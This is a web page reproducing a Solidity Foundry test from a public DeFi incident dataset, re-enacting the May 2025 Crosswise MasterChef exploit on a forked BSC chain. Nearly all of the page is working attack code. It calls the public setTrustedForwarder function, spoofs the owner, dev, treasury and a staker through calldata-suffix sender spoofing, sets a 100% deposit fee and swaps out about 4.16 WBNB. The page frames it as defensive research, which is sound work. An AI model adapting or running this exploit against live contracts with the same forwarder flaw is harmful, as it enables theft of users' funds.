Public reproduction file
src/test/2025-05/crosswise_exp.sol
Public reproduction file for dataset entry Crosswise.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 4.16 WBNB8// Attacker : 0xc49f2938327aA2cDc3F2f89Ed17B54b3671F05dE9// Attack Contract : 0xafc88CaB578Af298BA412376C34B43F6392E939a10// Vulnerable Contract : 0x70873211CB64c1D4EC027Ea63a399A7D07c4085B11// Attack Tx : https://bscscan.com/tx/0xfe88443d73e8ae6d4799c4d3cc42488730c084624fd2daa5f035c1ad2927ea0f12//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x70873211CB64c1D4EC027Ea63a399A7D07c4085B#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/100218//19// Attack summary: The attacker set itself as MasterChef's trusted forwarder, spoofed the owner to20// set pool 0's deposit fee to 100%, spoofed an approved staker to deposit CRSS, and routed the fee21// into the CRSS/WBNB pair before swapping out WBNB.22// Root cause: MasterChef's public setTrustedForwarder lets any caller become the trusted forwarder23// for calldata-suffix based _msgSender() spoofing.25address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;26address constant TRACE_ATTACK_CONTRACT = 0xafc88CaB578AF298Ba412376c34b43f6392e939a;27address constant MASTER_CHEF = 0x70873211CB64c1D4EC027Ea63A399A7d07c4085B;28address constant CRSS_TOKEN = 0x99FEFBC5cA74cc740395D65D384EDD52Cb3088Bb;29address constant CRSS_WBNB_PAIR = 0xb5d85cA38a9CbE63156a02650884D92A6e736DDC;30address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;31address constant SPOOFED_STAKER = 0xfD3002cE12D81c4e5F62B97F3c72f18122291A65;33interface ICrssToken {34 function balanceOf(35 address account36 ) external view returns (uint256);37 function allowance(38 address owner,39 address spender40 ) external view returns (uint256);41}43interface ICrosswiseMasterChef {44 function owner() external view returns (address);45 function trustedForwarder() external view returns (address);46 function devAddress() external view returns (address);47 function treasuryAddress() external view returns (address);48 function setTrustedForwarder(49 address trustedForwarder50 ) external;51 function set(uint256 pid, uint256 allocPoint, uint256 depositFeeBP, address strategy, bool withUpdate) external;52 function updatePool(53 uint256 pid54 ) external;55 function setDevAddress(56 address devAddress57 ) external;58 function setTreasuryAddress(59 address treasuryAddress60 ) external;61 function userInfo(62 uint256 pid,63 address user64 ) external view returns (uint256 amount, uint256 rewardDebt, uint256 crssRewardLockedUp, bool isVest, bool isAuto);65 function deposit(uint256 pid, uint256 amount, address referrer, bool isVest, bool isAuto) external;66}68interface ICrosswisePairLike {69 function token0() external view returns (address);70 function token1() external view returns (address);71 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);72 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;73}75interface IWBNBLike {76 function balanceOf(77 address account78 ) external view returns (uint256);79}81contract ContractTest is BaseTestWithBalanceLog {82 function setUp() public {83 vm.createSelectFork("bsc", 49_186_830);85 fundingToken = WBNB_TOKEN;86 attacker = address(this);88 vm.label(ATTACKER, "Attacker EOA");89 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");90 vm.label(MASTER_CHEF, "Crosswise MasterChef");91 vm.label(CRSS_TOKEN, "CRSS");92 vm.label(CRSS_WBNB_PAIR, "CRSS/WBNB Pair");93 vm.label(WBNB_TOKEN, "WBNB");94 vm.label(SPOOFED_STAKER, "Spoofed Staker");95 }97 function testExploit() public balanceLog {98 assertEq(ICrosswisePairLike(CRSS_WBNB_PAIR).token0(), CRSS_TOKEN);99 assertEq(ICrosswisePairLike(CRSS_WBNB_PAIR).token1(), WBNB_TOKEN);100 assertEq(ICrosswiseMasterChef(MASTER_CHEF).trustedForwarder(), 0xCC6B00b966b0A903e1F73cbCd845A8618c9603Ba);102 uint256 stakerBalance = ICrssToken(CRSS_TOKEN).balanceOf(SPOOFED_STAKER);103 assertEq(stakerBalance, 10_320_972_557_081_805_631_006_556);104 assertGe(ICrssToken(CRSS_TOKEN).allowance(SPOOFED_STAKER, MASTER_CHEF), stakerBalance);106 (, uint112 wbnbReserveBefore,) = ICrosswisePairLike(CRSS_WBNB_PAIR).getReserves();107 assertEq(uint256(wbnbReserveBefore), 9_771_726_308_878_491_704);109 new CrosswiseTrustedForwarderAttack(address(this));111 uint256 profit = IWBNBLike(WBNB_TOKEN).balanceOf(address(this));112 assertEq(profit, 4_158_211_071_044_910_965);113 assertEq(IWBNBLike(WBNB_TOKEN).balanceOf(CRSS_WBNB_PAIR), 5_613_515_237_833_580_739);114 }115}117contract CrosswiseTrustedForwarderAttack {118 address private immutable profitReceiver;120 constructor(121 address _profitReceiver122 ) {123 profitReceiver = _profitReceiver;125 ICrosswiseMasterChef masterChef = ICrosswiseMasterChef(MASTER_CHEF);126 ICrssToken crss = ICrssToken(CRSS_TOKEN);128 address realOwner = masterChef.owner();129 masterChef.setTrustedForwarder(address(this));131 _callAs(132 realOwner,133 abi.encodeWithSelector(134 ICrosswiseMasterChef.set.selector, uint256(0), uint256(0), uint256(10_000), address(0), false135 )136 );138 masterChef.updatePool(0);140 address dev = masterChef.devAddress();141 _callAs(dev, abi.encodeWithSelector(ICrosswiseMasterChef.setDevAddress.selector, dev));143 address treasury = masterChef.treasuryAddress();144 _callAs(treasury, abi.encodeWithSelector(ICrosswiseMasterChef.setTreasuryAddress.selector, treasury));146 masterChef.userInfo(0, SPOOFED_STAKER);148 uint256 stakerBalance = crss.balanceOf(SPOOFED_STAKER);149 _callAs(150 SPOOFED_STAKER,151 abi.encodeWithSelector(152 ICrosswiseMasterChef.deposit.selector, uint256(0), stakerBalance, address(0), false, false153 )154 );156 ICrosswisePairLike pair = ICrosswisePairLike(CRSS_WBNB_PAIR);157 (uint112 reserve0, uint112 reserve1,) = pair.getReserves();158 uint256 crssInput = crss.balanceOf(CRSS_WBNB_PAIR) - uint256(reserve0);159 uint256 amountOut = _crosswiseAmountOut(crssInput, reserve0, reserve1);161 pair.swap(0, amountOut, profitReceiver, "");162 }164 function _callAs(address spoofedSender, bytes memory data) private {165 (bool ok,) = MASTER_CHEF.call(bytes.concat(data, bytes20(spoofedSender)));166 require(ok, "spoofed call failed");167 }169 function _crosswiseAmountOut(170 uint256 amountIn,171 uint256 reserveIn,172 uint256 reserveOut173 ) private pure returns (uint256) {174 uint256 amountInWithFee = amountIn * 998;175 return amountInWithFee * reserveOut / (reserveIn * 1000 + amountInWithFee);176 }177}Analysis
Dataset entry
Public Foundry test for “Crosswise” (2025-05-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-05/BetaPresale_exp.solSame month in the dataset · 212 lines
- src/test/2025-05/bitallx_exp.solSame month in the dataset · 94 lines
- src/test/2025-05/Corkprotocol_exp.solSame month in the dataset · 291 lines
- src/test/2025-05/DogeAlliance_exp.solSame month in the dataset · 173 lines
- src/test/2025-05/Dumbo_exp.solSame month in the dataset · 214 lines
- src/test/2025-05/IRYSAI_exp.solSame month in the dataset · 104 lines
- src/test/2025-05/KRCToken_pair_exp.solSame month in the dataset · 120 lines
- src/test/2025-05/MBUToken_exp.solSame month in the dataset · 73 lines
- src/test/2025-05/Nalakuvara_LotteryTicket50_exp.solSame month in the dataset · 102 lines
- src/test/2025-05/RICE_exp.solSame month in the dataset · 142 lines
- src/test/2025-05/unverified_0000_exp.solSame month in the dataset · 99 lines
- src/test/2025-05/unverified_91a1_exp.solSame month in the dataset · 76 lines
- src/test/2025-05/Unwarp_exp.solSame month in the dataset · 55 lines
- src/test/2025-05/UsualMoney_exp.solSame month in the dataset · 227 lines
- src/test/2025-05/YDTtoken_exp.solSame month in the dataset · 52 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
- Attack Contract
0xafc88cab578af298ba412376c34b43f6392e939a
- Vulnerable Contract
0x70873211cb64c1d4ec027ea63a399a7d07c4085b
- Attack Tx
0xfe88443d73e8ae6d4799c4d3cc42488730c084624fd2daa5f035c1ad2927ea0f
File record
- Name
- Crosswise
- Path
- src/test/2025-05/crosswise_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 512eca103b8e450d9df5ae370a3f2caaa3b8c851
- Language
- Solidity
- Size
- 178 lines
- Date
- 2025-05-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-05/crosswise_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 512eca103b8e450d9df5ae370a3f2caaa3b8c851, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.